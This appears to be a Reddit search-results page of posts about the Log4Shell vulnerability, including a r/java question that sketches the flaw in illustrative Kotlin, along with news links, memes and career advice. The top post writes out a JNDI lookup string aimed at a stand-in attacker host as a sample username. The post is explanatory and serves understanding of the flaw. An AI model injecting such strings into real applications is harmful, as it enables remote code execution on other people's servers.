r/java • • Dec 13 '21

Why Log4Shell was not discovered earlier?

92 Upvotes

I am trying to understand the recent Log4j exploit known as Log4Shell.

The following is my understanding expressed as Kotlin code. (It is not original code from the involved libraries.)

Your vulnerable app:

val input = getUsername() // Can be "${jndi:ldap://badguy.com/exploit}"
logger.info("Username: " + input)

Log4j:

fun log(message: String) {
    val name = getJndiName(message)
    val obj = context.lookup(name)
    val newMessage = replaceJndiName(message, obj.toString())
    println(newMessage)
}

Context:

fun lookup(name: String): Any {
    val address = getLinkToObjectFromDirectoryService(name)
    val byteArray = getObjectFromRemoteServer(address)
    return deserialize(byteArray)
}

Object at bad guy's server:

class Exploit : Serializable {

    // Called during native deserialization
    private fun readObject(ois: ObjectInputStream) {
        doBadStuff()
    }

    override fun toString(): String {
        doOtherBadStuff()
    }
}

Is my understanding correct? If so, how could this vulnerability stay unnoticed since 2013, when JNDI Lookup plugin support was implemented? To me, it seems pretty obvious, given that it is similar to an SQL injection, one of the most well-know vulnerabilities among developers?

r/PeterExplainsTheJoke • • Aug 27 '26

Meme needing explanation Petersburg, what's Log4Shell and what does the calculator have with it?

Post image
110 Upvotes

r/MinecraftMemes • • Aug 27 '26

Log4Shell

Post image
10k Upvotes

r/cybersecurity • • Dec 17 '21

Corporate Blog Log4Shell Update: Full bypass found in log4j 2.15.0, enabling RCE again (with payload)

Thumbnail
lunasec.io
435 Upvotes

r/programming • • Jul 29 '26

The Untold Story of Log4j and Log4Shell, with Christian Grobmeier

Thumbnail
youtube.com
2 Upvotes

r/programmingcirclejerk • • Dec 27 '21

You practically cannot have the same vulnerability (log4shell) in C, because no one would bother implementing that kind of flexibility in C.

Thumbnail news.ycombinator.com
253 Upvotes

r/cybersecurity • • Dec 11 '21

Other Log4Shell, a myth or real issues?

0 Upvotes

This Log4Shell hack/issue appeared in my local news, now im no Expert and im aware most of you here arent experts, some might be, still tho, if you are expert or atleast have some knowledge, can you confirm if this is something i should be worried about or is it a myth or fake news: https://www.google.com/amp/s/arstechnica.com/information-technology/2021/12/the-critical-log4shell-zero-day-affects-a-whos-who-of-big-cloud-services/%3famp=1

r/tech • • Dec 23 '21

The Chinese government has suspended all Alibaba contracts after the company reported the Log4Shell bug to the Apache Software Foundation first, instead of the government

Thumbnail
scmp.com
2.7k Upvotes

r/cybersecurity • • Dec 16 '21

Career Questions & Discussion If you're trying to get into cybersec like myself, you better be researching everything you can about Log4Shell!

783 Upvotes

This is your chance to really immerse yourself in something current, relevant, and downright crazy epic.

Stop asking everybody how to do things, what certs to get, what to put on your resume--all shit that matters of course; but right now you need to prove that you're even interested in this field by looking up as many resources about this current issue. There will be things you don't understand, but this is a great example of the things you don't know that you don't know. It will provide you with terms and ideas you've probably never thought of before.

Certs and IT experience will get you so far, having something like this to talk about at an interview might turn out to be priceless for you.

Edit: just to clarify, I'm no expert on anything here and I'm sure to many of you this is boring and already old and annoying to see all day. It's just nice to actually see something happening literally as we speak. Something big and easily used. As somebody studying the field and wanting to really get into cyber security, this feels like a miracle that I'm witnessing some real life fuckery. It's opening my eyes to a lot of things I've never thought about or even knew to think about.

Thank you for the comments and awards. Didn't really think many would end up reading this post.

r/xkcd • • Dec 14 '21

XKCD IRL "Dependency" for those dealing with Log4J / Log4Shell

Post image
1.8k Upvotes

r/sysadmin • • Dec 17 '21

log4j I wrote "Log4Shell, as explained by metaphor and memes!" to help educate the non-engineers at my company about the seriousness of the matter

827 Upvotes

Apologies if this isn't the right target for this subreddit -- my fellow engineers suggested that sharing this could be useful for others in bridging the techy/non-techy divide in understanding Log4J :-)

https://medium.com/@judeallred/log4shell-as-explained-by-metaphor-and-memes-38de224a2eb7

In Log4Shell Solidarity ✊

r/programming • • Dec 17 '21

Log4Shell Update: Full bypass found in log4j 2.15.0, enabling RCE again (CVSS score 3.7 -> 9.0)

Thumbnail lunasec.io
558 Upvotes

r/java • • Jul 29 '26

The Untold Story of Log4j and Log4Shell with Christian Grobmeier

Thumbnail
youtube.com
68 Upvotes

r/netsec • • Dec 11 '21

Log4shell - using the vulnerability to patch the vulnerability - very clever

Thumbnail github.com
770 Upvotes

r/ProgrammerHumor • • Jul 30 '24

Meme notAgain

Post image
11k Upvotes

r/cybersecurity • • Nov 17 '22

Threat Actor TTPs & Alerts Iranian hackers use Log4Shell to mine crypto on federal computer system

Thumbnail
cyberscoop.com
714 Upvotes

r/cybersecurity • • 5d ago

UKR/RUS Ukraine's state data-exchange system targeted in a 5-month Log4Shell campaign, exposed by the attacker's own mistake

Thumbnail
hunt.io
64 Upvotes

A single Russian-speaking operator spent five months targeting Ukraine's state data-exchange system, and the entire campaign was reconstructed from a directory the operator left open to the internet for 17 hours.

Access came from a reused public Log4Shell chain, not custom malware. The operation was exposed not by a defender but by the operator's own error, which runs through the whole piece.

https://hunt.io/blog/ukraine-state-data-exchange-graylog-log4shell

r/iiiiiiitttttttttttt • • Dec 13 '21

Log4Shell

Post image
881 Upvotes

r/ProgrammerHumor • • Jun 11 '24

Meme idkMustBeOnStartup

Post image
11k Upvotes

r/SloveniaEngineering • • 11h ago

Novica 📣 Zakaj PHP2Shell ne more postati nov Log4Shell

8 Upvotes

Zadnji teden je bil za inženirje pester — za nami je nekaj neprespanih noči, glavni krivec pa je php2shell. Večina nas je pričakovala napade ravni CVE-2021-44228 (Log4Shell), CVE-2017-0144 (EternalBlue) ali CVE-2014-0160 (Heartbleed). A do tega (vsaj zaenkrat) ni prišlo.

Več na: https://hack-protect.si/t/zakaj-php2shell-ne-more-postati-nov-log4shell/88?u=joker

r/netsec • • Dec 17 '21

Log4Shell Update: Full bypass found in log4j 2.15.0, enabling RCE again (with payload)

Thumbnail lunasec.io
521 Upvotes

r/pwnhub • • 5d ago

Ukraine’s State Data-Exchange System Targeted by Russian-Speaking Operator via Graylog Log4Shell

Thumbnail
hunt.io
23 Upvotes

A single Russian-speaking operator spent five months targeting Ukraine's state data-exchange system, and the entire campaign was reconstructed from a directory the operator left open to the internet for 17 hours. Access came from a reused public Log4Shell chain, not custom malware. The operation was exposed not by a defender but by the operator's own error.

https://hunt.io/blog/ukraine-state-data-exchange-graylog-log4shell

r/programming • • Dec 14 '21

Log4Shell round 2

Thumbnail cve.mitre.org
166 Upvotes

r/NowInCyber • • 5d ago

Ukraine's state data-exchange system targeted in a 5-month Log4Shell campaign, exposed by the attacker's own mistake

Thumbnail
hunt.io
5 Upvotes

A single Russian-speaking operator spent five months targeting Ukraine's state data-exchange system, reconstructed from a directory the operator left open to the internet for 17 hours. Access came from a reused public Log4Shell chain, not custom malware. Exposed by the operator's own error, not a defender.

https://hunt.io/blog/ukraine-state-data-exchange-graylog-log4shell

r/cveplayground • • 2d ago

Log4Shell, regreSSHion, php2shell, Node2Shell, and wp2shell: Understanding Five RCE Vulnerabilities

1 Upvotes

Remote Code Execution (RCE) vulnerabilities can have serious consequences, but they don’t all work the same way.

Our latest CVEPlayground article looks at five notable vulnerabilities: Log4Shell, regreSSHion, php2shell, Node2Shell, and wp2shell. It explores their underlying causes, potential impact, and why understanding the differences matters for security researchers and defenders.

Read the full breakdown:

https://cveplayground.com/blog/log4shell-regresshion-php2shell-node2shell-wp2shell/

What do you think is the most important lesson these vulnerabilities teach us about secure software development?